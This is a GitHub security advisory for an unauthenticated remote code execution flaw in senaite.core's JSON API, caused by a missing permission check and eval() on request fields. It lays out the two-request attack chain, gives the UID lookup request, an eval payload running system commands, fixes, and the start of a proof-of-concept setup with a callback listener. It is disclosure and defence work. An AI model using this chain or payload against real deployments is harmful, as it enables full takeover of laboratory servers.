GitHub Advisoryadvisory · PyPI

GHSA-jrw6-7x4q-w25j senaite.core Vulnerable to Eval Injection and Missing Authorization

CRITICAL Published 2026-08-26 Modified 2026-08-26 Official page ↗
Aliases
CVE-2026-54569
Ecosystem
PyPI
Packages
senaite.core
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-862, CWE-95
Reviewed
2026-08-26

Affected packages

• PyPI senaite.core: >= 2.0.0, <= 2.6.0 (no fix yet)

Description

Summary An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The `/@@API/update` route is reachable to anonymous callers and runs `eval()` on attacker-controlled input before any permission check fires. This is a different code path from the `eval()` in the calculations module: no authenticated account of any kind is required. Details The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the `eval` sink remains exploitable by any authenticated user with write access to a `RecordsField`, so both fixes are needed. 1. Missing `AccessJSONAPI` gate on JSON API write routes (CWE-862). The route at `src/bika/lims/jsonapi/update.py:45-165` does not enforce the `senaite.core: Access JSON API` permission upfront. Compare with the sibling `create.py:179-182`, which does: ```python if not getSecurityManager().checkPermission(AccessJSONAPI, parent): raise Unauthorized(...) ``` The check is present on `create` and absent on `update`, `update_many`, `remove`, `doActionFor`, `doActionFor_many`, and `getusers`. The underlying `@@API` view is registered by `plone.jsonapi.core` at `browser/configure.zcml:8-13` with `permission="zope2.View"`, which is granted to Anonymous on the Plone Site root. When an `obj_uid` is supplied, the route resolves the target through `uid_catalog` and `brain.getObject()`. The catalog brain walks the parent path with `unrestrictedTraverse` and applies `restrictedTraverse` only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because `bika_setup` is anonymous-readable on a stock Plone Site (the `View` permission is acquired from the Plone Site root, which grants `View` to `Anonymous` by default). 2. `eval()` on `RecordsField` / `RecordField` values inside `set_fields_from_request` (CWE-95). Once an object has been resolved, `set_fields_from_request` in `jsonapi/__init__.py:199-252` iterates the request fields. For any field of type `RecordsField` or `RecordField`, the helper runs `eval(value)` on the raw request string at line 240, before the field mutator and its `write_permission` check execute: ```python elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = eval(value) except Exception: logger.warning( "JSONAPI: " + fieldname + ": Invalid " "JSON/Python variable") return [] ``` The `eval` runs in the Zope worker process with full Python builtins available, so a payload such as `__import__('os').popen('id').read()` executes arbitrary system commands. The transaction savepoint inside `update.py` rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted. The same `eval()` pattern is also present in the field setters at `record.py:253-262` and `records.py:135-143`. Anonymous UID discovery. The `bika_setup` object exposes two `RecordsField`-typed fields: `RejectionReasons` and `IDFormatting`. Its UID is published anonymously by Plone's standard `@@uuid` view: ``` GET /senaite/bika_setup/@@uuid HTTP/1.1 HTTP/1.1 200 OK Content-Type: text/plain 8dbc161fa9f74aa4ad6e76eb1934518a ``` Origin. Both flaws predate the SENAITE fork. The `eval()` sink was introduced in `d7bf2d4507` (2013-09-04) and the unchecked `update` route in `be3d8cc916` (2013). Both remain present on the current 2.x development tip. Suggested fixes Fix 1: add `AccessJSONAPI` check to every state-changing route in `src/bika/lims/jsonapi/`, mirroring the existing check in `create.py`. An audit of every `IRouteProvider` in `configure.zcml` is in scope. ```python src/bika/lims/jsonapi/update.py from AccessControl import getSecurityManager from zExceptions import Unauthorized from senaite.core.permissions import AccessJSONAPI def update(self, context, request): if not getSecurityManager().checkPermission(AccessJSONAPI, context): raise Unauthorized("You don't have permission to update via JSONAPI") savepoint = transaction.savepoint() ... ``` Fix 2: replace `eval()` with `json.loads()`. The data shape stored in `RecordField` and `RecordsField` is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely: ```python src/bika/lims/jsonapi/__init__.py import json elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = json.loads(value) except (ValueError, TypeError): logger.warning("JSONAPI: %s: invalid JSON value", fieldname) return [] ``` Apply the same change at `record.py:253-262` and `records.py:135-143`. Defense in depth: re-enable Plone's CSRF protection. The audited release ships with `class ISenaiteCore(IDisableCSRFProtection)` at `src/senaite/core/interfaces/__init__.py:30`, which disables `plone.protect`'s automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains. PoC Tested against the unmodified upstream Docker image `senaite/senaite:v2.6.0`. No source-code modification, no buildout overrides, no reverse proxy. `PASSWORD` is set to a non-default value to demonstrate that the chain works without the `admin:admin` Docker fallback. `docker-compose.yml` ```yaml services: senaite: image: senaite/senaite:v2.6.0 ports: • "8080:8080" environment: PASSWORD: senaitestrong # non-default; chain is credential-free SITE: senaite networks: • poc listener: image: python:3.11-alpine command: • python • -c • | import http.server, socketserver log = [] class H(http.server.BaseHTTPRequestHandler): def do_GET(self): if self.path.startswith('/log'): self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers() self.wfile.write(('\n'.join(log)).encode()) else: log.append(self.path) self.send_response(200); self.end_headers(); self.wfile.write(b'ok') def log_message(self, *a, **k): pass socketserver.TCPServer.allow_r…

Related

Alias · CVE (1)

  • CVE-2026-54569 SENAITE.CORE is the core framework for the SENAITE laboratory information management system. vulnerability

Weakness · CWE (2)

  • CWE-862 Missing Authorization weakness
  • CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code weakness

References